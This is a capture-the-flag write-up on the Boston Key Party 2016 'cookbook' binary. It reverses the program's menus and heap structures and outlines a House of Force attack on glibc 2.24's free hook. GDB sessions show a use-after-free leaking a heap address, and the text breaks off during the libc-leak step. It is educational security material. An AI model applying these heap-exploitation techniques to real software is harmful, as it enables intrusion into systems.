Boston Key Party 2016 Cookbook
This exploit is based off of this writeup with multiple parts (one of the best writeups I ever saw): https://www.youtube.com/watch?v=f1wp6wza8ZI https://www.youtube.com/watch?v=dnHuZLySS6g https://www.youtube.com/watch?v=PISoSH8KGVI
Let's take a look at the binary and libc file:
$ file cookbook
cookbook: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped
$ pwn checksec cookbook
[*] '/Hackery/pod/modules/house_of_power/bkp16_cookbook/cookbook'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./libc-2.24.so
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 6.3.0 20170406.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ ./cookbook
what's your name?
guyinatuxedo
+-----------------------------+
| .--,--. |
| `. ,.' |
| |___| |
| :o o: |
| _`~^~' |
| /' ^ `\ |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
So we can see that we are given a 32
bit binary, we a Stack Canary and NX. We can also see that we are dealing with the libc version 2.24
.
Reversing
This is going to be a fun one. Checking the references to strings that we see in the menu, we find the menu
function:
void menu(void)
{
char *ptr;
size_t sVar1;
int in_GS_OFFSET;
char input [10];
int canary;
canary = *(int *)(in_GS_OFFSET + 0x14);
puts("====================");
puts("[l]ist ingredients");
puts("[r]ecipe book");
puts("[a]dd ingredient");
puts("[c]reate recipe");
puts("[e]xterminate ingredient");
puts("[d]elete recipe");
puts("[g]ive your cookbook a name!");
puts("[R]emove cookbook name");
puts("[q]uit");
fgets(input,10,stdin);
switch(input[0]) {
case 'R':
removeName();
break;
default:
puts("UNKNOWN DIRECTIVE");
break;
case 'a':
addIngredient();
break;
case 'c':
createRecipe();
break;
case 'e':
ptr = (char *)calloc(0x80,1);
printf("which ingredient to exterminate? ");
fgets(ptr,0x80,stdin);
sVar1 = strcspn(ptr,"\n");
ptr[sVar1] = '\0';
FUN_080497f9(ptr);
free(ptr);
break;
case 'g':
nameCookbook();
break;
case 'l':
listIngredients();
break;
case 'q':
puts("goodbye, thanks for cooking with us!");
if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
case 'r':
recipeCookbook();
}
}
Let's start going through this code and the functions it calls bit by bit:
void listIngredients(void)
{
undefined4 *currentIngredient;
currentIngredient = ingredients;
while (currentIngredient != (undefined4 *)0x0) {
puts("------");
printIngredient(*currentIngredient);
currentIngredient = (undefined4 *)currentIngredient[1];
if (currentIngredient == (undefined4 *)0x0) {
puts("------");
}
}
return;
}
We can see here that iterate through and print all of our ingredients using the printIngredient
function. We can also see that our ingredients are stored in the bss variable ingredients
stored at 0x804d094
. We can see the structure of an ingredient thanks to the printIngredient
function:
void printIngredient(undefined4 *param_1)
{
printf("name: %s\n",param_1 + 2);
printf("calories: %zd\n",*param_1);
printf("price: %zd\n",param_1[1]);
return;
}
So we can see here, that an ingredient is 12
bytes long. The first 4
bytes holds the calories, the second 4
bytes holds the prices, and the third 4
bytes holds the name. Next up we have:
void recipeCookbook(void)
{
uint recipeCount;
undefined4 currentRecipe;
uint i;
recipeCount = countDwordValues(&recipes);
printf("%s\'s cookbook",cookbookName);
i = 0;
while (i < recipeCount) {
currentRecipe = grabRecipe(&recipes,i);
printRecipe(currentRecipe);
i = i + 1;
}
return;
}
Like the listIngredients
function, this prints the recipes, which are stored in the bss variable recipes
at 0x804d08c
. Also we can see it prints the name of the cookbook, which is stored in the bss address cookbookName
at 0x804d0ac
. Looking at the printRecipe
function, we see what the structure of a recipe looks like:
void printRecipe(undefined4 *ingredient)
{
uint ingredientCount;
int iVar1;
undefined4 cals;
int in_GS_OFFSET;
undefined4 ingredients;
undefined4 ingredientQuantities;
uint i;
int canary;
int canaryVal;
canaryVal = *(int *)(in_GS_OFFSET + 0x14);
ingredients = *ingredient;
ingredientQuantities = ingredient[1];
ingredientCount = countDwordValues(&ingredients);
printf("[---%s---]\n",ingredient + 2);
printf("recipe type: %s\n",ingredient[0x1f]);
puts((char *)(ingredient + 0x23));
i = 0;
while (i < ingredientCount) {
cals = grabRecipe(&ingredientQuantities,i);
iVar1 = grabRecipe(&ingredients,i);
printf("%zd - %s\n",cals,iVar1 + 8);
i = i + 1;
}
cals = getCost(ingredient);
printf("total cost : $%zu\n",cals);
cals = getCals(ingredient);
printf("total cals : %zu\n",cals);
if (canaryVal != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
From that (and some of the functions this called) we can tell that the structure of a recipe is this:
0x0: ptr to linked list of ingredient counts
0x4: ptr to linked list of ingredient quantities
0x8: char array for recipe name
124: char array to recipe type
140: Char array for recipe instruction
Next up is nameCookbook
:
void nameCookbook(void)
{
ulong size;
int in_GS_OFFSET;
char inputLen [64];
int canary;
int canaryVal;
canaryVal = *(int *)(in_GS_OFFSET + 0x14);
printf("how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : "
);
fgets(inputLen,0x40,stdin);
size = strtoul(inputLen,(char **)0x0,0x10);
name = (char *)malloc(size);
fgets(name,size,stdin);
printf("the new name of the cookbook is %s\n",name);
if (canaryVal != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We can see that the name of the cookbook is stored in a heap chunk, where a pointer to that chunk is stored in the bss variable name
at 0x804d0a8
. We have control over the size of the chunk. Checking the references to name
we see this function.
void removeName(void)
{
free(name);
return;
}
Here we can see it frees the pointer stored at name
, which we can run with the R
option. Also notice how there are no checks on the pointer before it is freed, and it isn't zeroed out (so we might have a UAF here). Next up, we have the e
option:
case 'e':
ptr = (char *)calloc(0x80,1);
printf("which ingredient to exterminate? ");
fgets(ptr,0x80,stdin);
sVar1 = strcspn(ptr,"\n");
ptr[sVar1] = '\0';
FUN_080497f9(ptr);
free(ptr);
We can see that it allocates 0x80
bytes worth of heap space, scans in that much data into the space, then frees it. Next up we have:
void addIngredient(void)
{
size_t sVar1;
char *nameWrite;
char *priceWrite;
char *caloriesWrite;
int iVar2;
int in_GS_OFFSET;
char local_1a [10];
int canary;
canary = *(int *)(in_GS_OFFSET + 0x14);
puts("====================");
puts("[l]ist current stats?");
puts("[n]ew ingredient?");
puts("[c]ontinue editing ingredient?");
puts("[d]iscard current ingredient?");
puts("[g]ive name to ingredient?");
puts("[p]rice ingredient?");
puts("[s]et calories?");
puts("[q]uit (doesn\'t save)?");
puts("[e]xport saving changes (doesn\'t quit)?");
fgets(local_1a,10,stdin);
sVar1 = strcspn(local_1a,"\n");
local_1a[sVar1] = '\0';
switch(local_1a[0]) {
case 'c':
puts("still editing this guy");
break;
case 'd':
free(currentIngredient);
currentIngredient = (int *)0x0;
break;
case 'e':
if (currentIngredient == (int *)0x0) {
puts("can\'t do it on a null guy");
}
else {
iVar2 = FUN_08049c58(currentIngredient + 2);
if ((iVar2 == -1) && (*(char *)(currentIngredient + 2) != '\0')) {
appendIngredient(&ingredients,currentIngredient);
currentIngredient = (int *)0x0;
puts("saved!");
}
else {
puts("can\'t save because this is bad.");
}
}
break;
default:
puts("UNKNOWN DIRECTIVE");
break;
case 'g':
nameWrite = (char *)calloc(0x80,1);
if (currentIngredient == (int *)0x0) {
puts("can\'t do it on a null guy");
}
else {
fgets(nameWrite,0x80,stdin);
sVar1 = strcspn(nameWrite,"\n");
nameWrite[sVar1] = '\0';
memcpy(currentIngredient + 2,nameWrite,0x80);
}
free(nameWrite);
break;
case 'l':
if (currentIngredient == (int *)0x0) {
puts("can\'t print NULL!");
}
else {
printIngredient(currentIngredient);
}
break;
case 'n':
currentIngredient = (int *)malloc(0x90);
*(int **)(currentIngredient + 0x23) = currentIngredient;
break;
case 'p':
priceWrite = (char *)calloc(0x80,1);
if (currentIngredient == (int *)0x0) {
puts("can\'t do it on a null guy");
}
else {
fgets(priceWrite,0x80,stdin);
sVar1 = strcspn(priceWrite,"\n");
priceWrite[sVar1] = '\0';
iVar2 = atoi(priceWrite);
currentIngredient[1] = iVar2;
}
free(priceWrite);
break;
case 'q':
if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
case 's':
caloriesWrite = (char *)calloc(0x80,1);
if (currentIngredient == (int *)0x0) {
puts("can\'t do it on a null guy");
}
else {
fgets(caloriesWrite,0x80,stdin);
sVar1 = strcspn(caloriesWrite,"\n");
caloriesWrite[sVar1] = '\0';
iVar2 = atoi(caloriesWrite);
*currentIngredient = iVar2;
}
free(caloriesWrite);
}
}
After reversing all of this, we have what each of the secondary menu options do:
currentIngredient = current ingredient being edited, global variable stored in bss at 0x804d09c
l - prints ingredient options
n - mallocs 0x90 bytes of space, sets currentIngredient equal to the pointer returned by malloc, then sets that address + 0x8c equal to the pointer returned by malloc
c - prints out a string
d - frees currentIngredient, sets currentIngredient equal to zero
g - callocs 0x80 bytes of space, if currentIngredient is set it will scan 128 bytes into the calloced space, removes the trailing newline then write that as the currentIngredient name
p - callocs 0x80 bytes of space, if currentIngredient is set it will scan 128 bytes into the calloced space, removes the trailing newline and converts it to an integer, then write the output of that as currentIngredient price
s - callos 0x80 bytes of space, if currentIngredient is set it will scan 128 bytes into the calloced space, removes the trailing newline and converts it to an integer, then write the output of that as currentIngredient calories
q - exits the function
e - if currentIngredient is set, it will append the pointer currentIngredient to the end of the linked list ingredients
The c
option also presents us with another menu:
void createRecipe(void)
{
int iVar1;
size_t sVar2;
int ingredientPtr;
ulong uVar3;
int iVar4;
int iVar5;
int in_GS_OFFSET;
int local_d0;
int *local_cc;
char local_aa [10];
char input0 [144];
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
LAB_080490a6:
puts("[n]ew recipe");
puts("[d]iscard recipe");
puts("[a]dd ingredient");
puts("[r]emove ingredient");
puts("[g]ive recipe a name");
puts("[i]nclude instructions");
puts("[s]ave recipe");
puts("[p]rint current recipe");
puts("[q]uit");
fgets(local_aa,10,stdin);
sVar2 = strcspn(local_aa,"\n");
local_aa[sVar2] = '\0';
switch(local_aa[0]) {
case 'a':
if (currentRecipe == (int **)0x0) {
puts("can\'t do it on a null guy");
}
printf("which ingredient to add? ");
fgets(input0,0x90,stdin);
sVar2 = strcspn(input0,"\n");
input0[sVar2] = '\0';
ingredientPtr = grabIngredientPtr(input0);
if (ingredientPtr == 0) {
printf("I dont know about, %s!, please add it to the ingredient list!\n",input0);
}
else {
printf("how many? (hex): ");
fgets(input0,0x90,stdin);
sVar2 = strcspn(input0,"\n");
input0[sVar2] = '\0';
uVar3 = strtoul(input0,(char **)0x0,0x10);
appendIngredient(currentRecipe,ingredientPtr);
appendIngredient(currentRecipe + 1,uVar3);
puts("nice");
}
break;
default:
puts("UNKNOWN DIRECTIVE");
break;
case 'd':
free(currentRecipe);
break;
case 'g':
if (currentRecipe == (int **)0x0) {
puts("can\'t do it on a null guy");
}
else {
fgets((char *)(currentRecipe + 0x23),0x40c,stdin);
}
break;
case 'i':
if (currentRecipe == (int **)0x0) {
puts("can\'t do it on a null guy");
}
else {
fgets((char *)(currentRecipe + 0x23),0x40c,stdin);
sVar2 = strcspn(local_aa,"\n");
local_aa[sVar2] = '\0';
}
break;
case 'n':
currentRecipe = (int **)calloc(1,0x40c);
break;
case 'p':
if (currentRecipe != (int **)0x0) {
printRecipe(currentRecipe);
}
break;
case 'q':
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
case 'r':
if (currentRecipe == (int **)0x0) {
puts("can\'t do it on a null guy");
}
else {
printf("which ingredient to remove? ");
fgets(input0,0x90,stdin);
local_d0 = 0;
local_cc = *currentRecipe;
while (local_cc != (int *)0x0) {
iVar5 = *local_cc;
iVar4 = strcmp((char *)(iVar5 + 8),input0);
if (iVar4 == 0) {
FUN_080487b5(currentRecipe,local_d0);
FUN_080487b5(currentRecipe + 1,local_d0);
printf("deleted %s from the recipe!\n",iVar5 + 8);
goto LAB_080490a6;
}
local_d0 = local_d0 + 1;
local_cc = (int *)local_cc[1];
}
}
break;
case 's':
if (currentRecipe == (int **)0x0) {
puts("can\'t do it on a null guy");
}
else {
iVar5 = FUN_08049cb8(currentRecipe + 2);
if ((iVar5 == -1) && (*(char *)(currentRecipe + 2) != '\0')) {
*(undefined **)(currentRecipe + 0x1f) = PTR_s_drink_0804d064;
appendIngredient(&recipes,currentRecipe);
currentRecipe = (int **)0x0;
puts("saved!");
}
else {
puts("can\'t save because this is bad.");
}
}
}
}
After reversing it, we find out that the menu options do this:
currentRecipe = current recipe being edited, stored as a global variable in the bss at 0x804d0a0
n - callocs 0x40c bytes worth of space, set's currentRecipe equal to the pointer returned by calloc
d - frees currentRecipe
a - checks if currentRecipe is zero, and if it is prints an error message (function does continue), scans 0x90 bytes worth of data in input0, checks to see if that corresponds to any ingredient name and if so returns a ptr to it, if a ptr is returned then it will scan in 0x90 bytes which is converted to an unsigned long integer from hex string. Proceeding that the ingredient name is added to currentRecipe, with the quantity from the output of the hex string conversion.
r - Scans in 0x90 bytes worth of data into input0
g - if currentRecipe is set, it will scan in 0x40c bytes into the instructions for currentRecipe (not the name)
i - if currentRecipe is set, it will scan in 0x40c bytes into the instructions for currentRecipe
s - First checks to see if currentRecipe is set, then performs a secondary check to see if the name has been set (we don't have a method of directly setting it, so this presents a problem). After that it adds currentRecipe to recipeCollection, then sets currentRecipe equal to zero.
p - if currentRecipe is set, it will print the current setting for currentRecipe by running it through print_recipe
q - exits the function
The q
option just exits the menu. We can also see that the option d
doesn't actually have a case for it set, so it will just print out UNKOWN DIRECTIVE
(as well any other input that has not been mentioned).
Exploitation
For this, our exploit will really have two stages. The first will involve getting a Heap and Libc infoleak. The second part will involve writing the libc address of system
to the free hook, using a House of Force Attack.
Heap Infoleak
So in order to execute this house of force attack against the free hook, the first infoleak we will need will be one from the heap. First off we have a use after free bug in the createRecipe
menu (option c). We see that in there, if we delete an item (option d) it frees the space but the pointer remains:
case 'd':
free(cur_rec);
continue;
Let's see how what this space looks like in gdb after it is freed:
gef➤ b *0x80495a0
Breakpoint 1 at 0x80495a0
gef➤ r
Starting program: /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
what's your name?
guyinatuxedo
+-----------------------------+
| .--,--. |
| `. ,.' |
| |___| |
| :o o: |
| _`~^~' |
| /' ^ `\ |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
n
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
a
which ingredient to add? water
how many? (hex): 0x1
nice
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
p
Breakpoint 1, 0x080495a0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804f2b0 → 0x0804f6c0 → 0x0804e050 → 0x00000000
$ebx : 0xffffcff0 → 0x00000001
$ecx : 0x1
$edx : 0xffffce62 → 0x00000070 ("p"?)
$esp : 0xffffce20 → 0x0804f2b0 → 0x0804f6c0 → 0x0804e050 → 0x00000000
$ebp : 0xffffcf08 → 0xffffcfc8 → 0xffffcfd8 → 0x00000000
$esi : 0xf7fb6000 → 0x001b1db0
$edi : 0xf7fb6000 → 0x001b1db0
$eip : 0x080495a0 → call 0x80495d6
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce20│+0x0000: 0x0804f2b0 → 0x0804f6c0 → 0x0804e050 → 0x00000000 ← $esp
0xffffce24│+0x0004: 0x0804a5ea → or al, BYTE PTR [eax]
0xffffce28│+0x0008: 0xf7fb65a0 → 0xfbad208b
0xffffce2c│+0x000c: 0xf7fb6d60 → 0xfbad2887
0xffffce30│+0x0010: 0xf7e6efa7 → <__uflow+7> add ebx, 0x147059
0xffffce34│+0x0014: 0xf7fb65e8 → 0xf7fb787c → 0x00000000
0xffffce38│+0x0018: 0x00000000
0xffffce3c│+0x001c: 0xf7e63291 → <_IO_getline_info+161> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049597 mov eax, ds:0x804d0a0
0x804959c sub esp, 0xc
0x804959f push eax
→ 0x80495a0 call 0x80495d6
↳ 0x80495d6 push ebp
0x80495d7 mov ebp, esp
0x80495d9 sub esp, 0x38
0x80495dc mov eax, DWORD PTR [ebp+0x8]
0x80495df mov DWORD PTR [ebp-0x2c], eax
0x80495e2 mov eax, gs:0x14
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x80495d6 (
[sp + 0x0] = 0x0804f2b0 → 0x0804f6c0 → 0x0804e050 → 0x00000000,
[sp + 0x4] = 0x0804a5ea → or al, BYTE PTR [eax]
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80495a0 → call 0x80495d6
[#1] 0x8048a67 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf7e1c637 → __libc_start_main()
[#4] 0x8048621 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/3wx 0x0804f2b0
0x804f2b0: 0x0804f6c0 0x0804f6d0 0x00000000
gef➤ x/4w 0x0804f6c0
0x804f6c0: 0x0804e050 0x00000000 0x00000000 0x00000011
gef➤ x/3w 0x0804e050
0x804e050: 0x00000000 0x00000006 0x65746177
gef➤ x/s 0x0804e058
0x804e058: "water"
So here we can see is the memory for our recipe (starting at 0x0804f2b0
). We can see that the pointers to the linked list for the ingredients (stored at 0x0804f6c0
), and the array of our ingredient counts. Also we can see our water
ingredient at 0x804e050
. Let's see what the memory for the currentRecipe
looks like after we free it:
gef➤ c
Continuing.
[------]
recipe type: (null)
1 - water
total cost : $6
total cals : 0
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
d
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
p
Breakpoint 1, 0x080495a0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804f2b0 → 0xf7fb67b0 → 0x0804f6d8 → 0x00000000
$ebx : 0xffffcff0 → 0x00000001
$ecx : 0x1
$edx : 0xffffce62 → 0x00000070 ("p"?)
$esp : 0xffffce20 → 0x0804f2b0 → 0xf7fb67b0 → 0x0804f6d8 → 0x00000000
$ebp : 0xffffcf08 → 0xffffcfc8 → 0xffffcfd8 → 0x00000000
$esi : 0xf7fb6000 → 0x001b1db0
$edi : 0xf7fb6000 → 0x001b1db0
$eip : 0x080495a0 → call 0x80495d6
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce20│+0x0000: 0x0804f2b0 → 0xf7fb67b0 → 0x0804f6d8 → 0x00000000 ← $esp
0xffffce24│+0x0004: 0x0804a5ea → or al, BYTE PTR [eax]
0xffffce28│+0x0008: 0xf7fb65a0 → 0xfbad208b
0xffffce2c│+0x000c: 0xf7fb6d60 → 0xfbad2887
0xffffce30│+0x0010: 0xf7e6efa7 → <__uflow+7> add ebx, 0x147059
0xffffce34│+0x0014: 0xf7fb65e8 → 0xf7fb787c → 0x00000000
0xffffce38│+0x0018: 0x00000000
0xffffce3c│+0x001c: 0xf7e63291 → <_IO_getline_info+161> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049597 mov eax, ds:0x804d0a0
0x804959c sub esp, 0xc
0x804959f push eax
→ 0x80495a0 call 0x80495d6
↳ 0x80495d6 push ebp
0x80495d7 mov ebp, esp
0x80495d9 sub esp, 0x38
0x80495dc mov eax, DWORD PTR [ebp+0x8]
0x80495df mov DWORD PTR [ebp-0x2c], eax
0x80495e2 mov eax, gs:0x14
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x80495d6 (
[sp + 0x0] = 0x0804f2b0 → 0xf7fb67b0 → 0x0804f6d8 → 0x00000000,
[sp + 0x4] = 0x0804a5ea → or al, BYTE PTR [eax]
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80495a0 → call 0x80495d6
[#1] 0x8048a67 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf7e1c637 → __libc_start_main()
[#4] 0x8048621 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/3wx 0x0804f2b0
0x804f2b0: 0xf7fb67b0 0xf7fb67b0 0x00000000
gef➤ x/w 0xf7fb67b0
0xf7fb67b0: 0x0804f6d8
gef➤ heap bins
[+] No Tcache in this version of libc
─────────────────────────────────── Fastbins for arena 0xf7fb6780 ───────────────────────────────────
Fastbins[idx=0, size=0x8] 0x00
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
─────────────────────────────── Unsorted Bin for arena '*0xf7fb6780' ───────────────────────────────
[+] unsorted_bins[0]: fw=0x804f2a8, bk=0x804f2a8
→ Chunk(addr=0x804f2b0, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────────────────── Small Bins for arena '*0xf7fb6780' ────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────── Large Bins for arena '*0xf7fb6780' ────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ c
Continuing.
[------]
recipe type: (null)
134543064 -
total cost : $331063448
total cals : 0
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
So we can see that the data has been replaced with heap metadata, which is a heap pointer 0x804f6d8
. Because of its positioning, it is where it expects the ingredients to be it ends up printing out the value being pointed to 0x804f6d8
in base ten (134543064). With this we have a heap address which we can use to bypass ASLR in the heap.
Libc Infoleak
The next infoleak we will need will be a libc infoleak. Next up, let's see what happens when we allocate space to a recipe, free it, then make a new ingredient. Let's see exactly how the data is layed out when this happens:
gef➤ r
Starting program: /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
what's your name?
guyinatuxedo
+-----------------------------+
| .--,--. |
| `. ,.' |
| |___| |
| :o o: |
| _`~^~' |
| /' ^ `\ |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
n
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
a
which ingredient to add? water
how many? (hex): 0x1
nice
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
i
15935728
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffe00
$ebx : 0x0
$ecx : 0xf7fb65e7 → 0xfb787c0a
$edx : 0x1
$esp : 0xffffccc8 → 0xffffcd18 → 0x00000009
$ebp : 0xffffcd18 → 0x00000009
$esi : 0xf7fb65a0 → 0xfbad208b
$edi : 0xf7fb6d60 → 0xfbad2887
$eip : 0xf7fd7fe9 → <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffccc8│+0x0000: 0xffffcd18 → 0x00000009 ← $esp
0xffffcccc│+0x0004: 0x00000001
0xffffccd0│+0x0008: 0xf7fb65e7 → 0xfb787c0a
0xffffccd4│+0x000c: 0xf7ed9b23 → <read+35> pop ebx
0xffffccd8│+0x0010: 0xf7fb6000 → 0x001b1db0
0xffffccdc│+0x0014: 0xf7e6e267 → <_IO_file_underflow+295> add esp, 0x10
0xffffcce0│+0x0018: 0x00000000
0xffffcce4│+0x001c: 0xf7fb65e7 → 0xfb787c0a
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7fd7fe3 <__kernel_vsyscall+3> mov ebp, ecx
0xf7fd7fe5 <__kernel_vsyscall+5> syscall
0xf7fd7fe7 <__kernel_vsyscall+7> int 0x80
→ 0xf7fd7fe9 <__kernel_vsyscall+9> pop ebp
0xf7fd7fea <__kernel_vsyscall+10> pop edx
0xf7fd7feb <__kernel_vsyscall+11> pop ecx
0xf7fd7fec <__kernel_vsyscall+12> ret
0xf7fd7fed nop
0xf7fd7fee nop
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8049159 → add esp, 0x10
[#9] 0x8048a67 → jmp 0x8048b42
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/wx 0x804d0a0
0x804d0a0: 0x0804f2b0
gef➤ x/40w 0x804f2b0
0x804f2b0: 0x0804f6c0 0x0804f6d0 0x00000000 0x00000000
0x804f2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f300: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f310: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f320: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f330: 0x00000000 0x00000000 0x00000000 0x33393531
0x804f340: 0x38323735 0x0000000a 0x00000000 0x00000000
gef➤ x/w 0x804f6c0
0x804f6c0: 0x0804e050
gef➤ x/3w 0x0804e050
0x804e050: 0x00000000 0x00000006 0x65746177
gef➤ x/w 0x0804f6d0
0x804f6d0: 0x00000001
So we can see here is the memory for the recipe we created. We can see our ingredients, the ingredient counts, and the instructions for the recipe. Let's free this region of memory, then see what it looks like after it has been freed:
gef➤ c
Continuing.
d
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
q
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
